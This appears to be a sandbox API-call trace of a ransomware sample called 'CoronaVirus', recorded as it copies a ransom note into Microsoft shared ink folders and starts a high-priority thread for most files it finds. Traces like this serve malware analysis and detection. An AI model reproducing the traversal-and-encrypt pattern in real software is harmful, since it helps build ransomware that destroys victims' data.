	[0083.869] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.869] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", _SubStr="wasse") returned 0x0
	[0083.869] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", _SubStr="passw") returned 0x0
	[0083.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0083.869] SetThreadPriority (hThread=0x54c, nPriority=15) returned 1
	[0083.871] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.876] _alloca_probe () returned 0x4036d0
	[0083.877] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.877] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0083.877] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.877] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", _SubStr="wasse") returned 0x0
	[0083.877] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", _SubStr="passw") returned 0x0
	[0083.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0083.877] SetThreadPriority (hThread=0x560, nPriority=15) returned 1
	[0083.879] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.879] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0083.879] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.879] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", _SubStr="wasse") returned 0x0
	[0083.879] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", _SubStr="passw") returned 0x0
	[0083.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0083.879] SetThreadPriority (hThread=0x564, nPriority=15) returned 1
	[0083.883] malloc (_Size=0x1000) returned 0x2f70788
	[0083.883] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0083.884] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.884] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", _SubStr="wasse") returned 0x0
	[0083.884] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", _SubStr="passw") returned 0x0
	[0083.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0083.885] SetThreadPriority (hThread=0x568, nPriority=15) returned 1
	[0083.886] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.886] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0083.886] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.886] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", _SubStr="wasse") returned 0x0
	[0083.887] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", _SubStr="passw") returned 0x0
	[0083.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0083.887] SetThreadPriority (hThread=0x56c, nPriority=15) returned 1
	[0083.889] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.889] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0083.889] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.889] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", _SubStr="wasse") returned 0x0
	[0083.889] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", _SubStr="passw") returned 0x0
	[0083.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0083.889] SetThreadPriority (hThread=0x570, nPriority=15) returned 1
	[0083.890] malloc (_Size=0x1000) returned 0x2f70788
	[0083.890] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82
	[0083.891] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.891] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", _SubStr="wasse") returned 0x0
	[0083.891] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", _SubStr="passw") returned 0x0
	[0083.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0083.892] SetThreadPriority (hThread=0x574, nPriority=15) returned 1
	[0083.894] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.894] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82
	[0083.894] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.894] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", _SubStr="wasse") returned 0x0
	[0083.894] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", _SubStr="passw") returned 0x0
	[0083.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0083.894] SetThreadPriority (hThread=0x578, nPriority=15) returned 1
	[0083.896] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.896] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82
	[0083.896] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.896] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", _SubStr="wasse") returned 0x0
	[0083.896] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", _SubStr="passw") returned 0x0
	[0083.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f6f780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0083.897] SetThreadPriority (hThread=0x57c, nPriority=15) returned 1
	[0083.898] malloc (_Size=0x1000) returned 0x2f6f780
	[0083.898] _swprintf (in: param_1=0x2f6f780, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\CoronaVirus.txt") returned 85
	[0083.898] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.898] malloc (_Size=0x1000) returned 0x2f70788
	[0083.898] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79
	[0083.898] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.899] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", _SubStr="wasse") returned 0x0
	[0083.899] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", _SubStr="passw") returned 0x0
	[0083.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0083.899] SetThreadPriority (hThread=0x580, nPriority=15) returned 1
	[0083.901] malloc (_Size=0x1000) returned 0x2f70788
	[0083.901] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79
	[0083.901] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.901] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", _SubStr="wasse") returned 0x0
	[0083.901] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", _SubStr="passw") returned 0x0
	[0083.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0083.901] SetThreadPriority (hThread=0x584, nPriority=15) returned 1
	[0083.903] malloc (_Size=0x1000) returned 0x2f70788
	[0083.903] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85
	[0083.903] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.903] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", _SubStr="wasse") returned 0x0
	[0083.903] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", _SubStr="passw") returned 0x0
	[0083.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0083.904] SetThreadPriority (hThread=0x588, nPriority=15) returned 1
	[0083.905] malloc (_Size=0x1000) returned 0x2f71790
	[0083.905] _swprintf (in: param_1=0x2f71790, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81
	[0083.906] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.906] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", _SubStr="wasse") returned 0x0
	[0083.906] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", _SubStr="passw") returned 0x0
	[0083.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f71790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0083.907] SetThreadPriority (hThread=0x58c, nPriority=15) returned 1
	[0083.908] malloc (_Size=0x1000) returned 0x2f70788
	[0083.908] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0083.908] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.908] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", _SubStr="wasse") returned 0x0
	[0083.908] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", _SubStr="passw") returned 0x0
	[0083.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0083.909] SetThreadPriority (hThread=0x590, nPriority=15) returned 1
	[0083.911] malloc (_Size=0x1000) returned 0x2f70788
	[0083.911] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73
	[0083.911] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.911] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", _SubStr="wasse") returned 0x0
	[0083.911] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", _SubStr="passw") returned 0x0
	[0083.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f70788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0083.912] SetThreadPriority (hThread=0x55c, nPriority=15) returned 1
	[0083.914] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.916] _alloca_probe () returned 0x4036d0
	[0083.916] malloc (_Size=0x1000) returned 0x2f70788
	[0083.916] _swprintf (in: param_1=0x2f70788, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\CoronaVirus.txt") returned 91
	[0083.916] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.916] malloc (_Size=0x1000) returned 0x2f71790
	[0083.916] _swprintf (in: param_1=0x2f71790, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94
	[0083.916] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.916] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", _SubStr="wasse") returned 0x0
	[0083.916] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", _SubStr="passw") returned 0x0
	[0083.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f71790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0083.917] SetThreadPriority (hThread=0x598, nPriority=15) returned 1
	[0083.919] malloc (_Size=0x1000) returned 0x2f71790
	[0083.919] _swprintf (in: param_1=0x2f71790, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79
	[0083.919] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.919] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", _SubStr="wasse") returned 0x0
	[0083.919] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", _SubStr="passw") returned 0x0
	[0083.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f71790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0083.920] SetThreadPriority (hThread=0x594, nPriority=15) returned 1
	[0083.922] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.925] _alloca_probe () returned 0x4036d0
	[0083.925] malloc (_Size=0x1000) returned 0x2f71790
	[0083.925] _swprintf (in: param_1=0x2f71790, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\CoronaVirus.txt") returned 88
	[0083.925] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.925] malloc (_Size=0x1000) returned 0x2f72798
	[0083.925] _swprintf (in: param_1=0x2f72798, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88
	[0083.926] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.926] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", _SubStr="wasse") returned 0x0
	[0083.926] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", _SubStr="passw") returned 0x0
	[0083.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f72798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0083.926] SetThreadPriority (hThread=0x5a0, nPriority=15) returned 1
	[0083.928] malloc (_Size=0x1000) returned 0x2f72798
	[0083.928] _swprintf (in: param_1=0x2f72798, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76
	[0083.928] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.928] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", _SubStr="wasse") returned 0x0
	[0083.928] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", _SubStr="passw") returned 0x0
	[0083.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f72798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0083.929] SetThreadPriority (hThread=0x59c, nPriority=15) returned 1
	[0083.931] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.937] _alloca_probe () returned 0x4036d0
	[0083.937] malloc (_Size=0x1000) returned 0x2f72798
	[0083.937] _swprintf (in: param_1=0x2f72798, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\CoronaVirus.txt") returned 87
	[0083.937] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.937] malloc (_Size=0x1000) returned 0x2f737a0
	[0083.937] _swprintf (in: param_1=0x2f737a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86
	[0083.937] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.937] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", _SubStr="wasse") returned 0x0
	[0083.937] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", _SubStr="passw") returned 0x0
	[0083.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f737a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0083.937] SetThreadPriority (hThread=0x5a8, nPriority=15) returned 1
	[0083.939] malloc (_Size=0x1000) returned 0x2f737a0
	[0083.939] _swprintf (in: param_1=0x2f737a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75
	[0083.939] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.939] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", _SubStr="wasse") returned 0x0
	[0083.939] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", _SubStr="passw") returned 0x0
	[0083.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f737a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0083.940] SetThreadPriority (hThread=0x5a4, nPriority=15) returned 1
	[0083.942] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.960] _alloca_probe () returned 0x4036d0
	[0083.960] malloc (_Size=0x1000) returned 0x2f737a0
	[0083.960] _swprintf (in: param_1=0x2f737a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\CoronaVirus.txt") returned 90
	[0083.960] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.960] malloc (_Size=0x1000) returned 0x2f747a8
	[0083.961] _swprintf (in: param_1=0x2f747a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0083.961] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.961] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", _SubStr="wasse") returned 0x0
	[0083.961] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", _SubStr="passw") returned 0x0
	[0083.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f747a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0083.962] SetThreadPriority (hThread=0x5b0, nPriority=15) returned 1
	[0083.967] malloc (_Size=0x1000) returned 0x2f747a8
	[0083.968] _swprintf (in: param_1=0x2f747a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0083.968] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", _SubStr="CoronaVirus") returned 0x0
	[0083.968] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", _SubStr="wasse") returned 0x0
	[0083.968] wcsstr (_Str="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", _SubStr="passw") returned 0x0
	[0083.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f747a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0083.968] SetThreadPriority (hThread=0x5ac, nPriority=15) returned 1
	[0083.971] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\CoronaVirus.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.973] _alloca_probe () returned 0x4036d0
	[0083.973] malloc (_Size=0x1000) returned 0x2f747a8
	[0083.973] _swprintf (in: param_1=0x2f747a8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\CoronaVirus.txt") returned 88
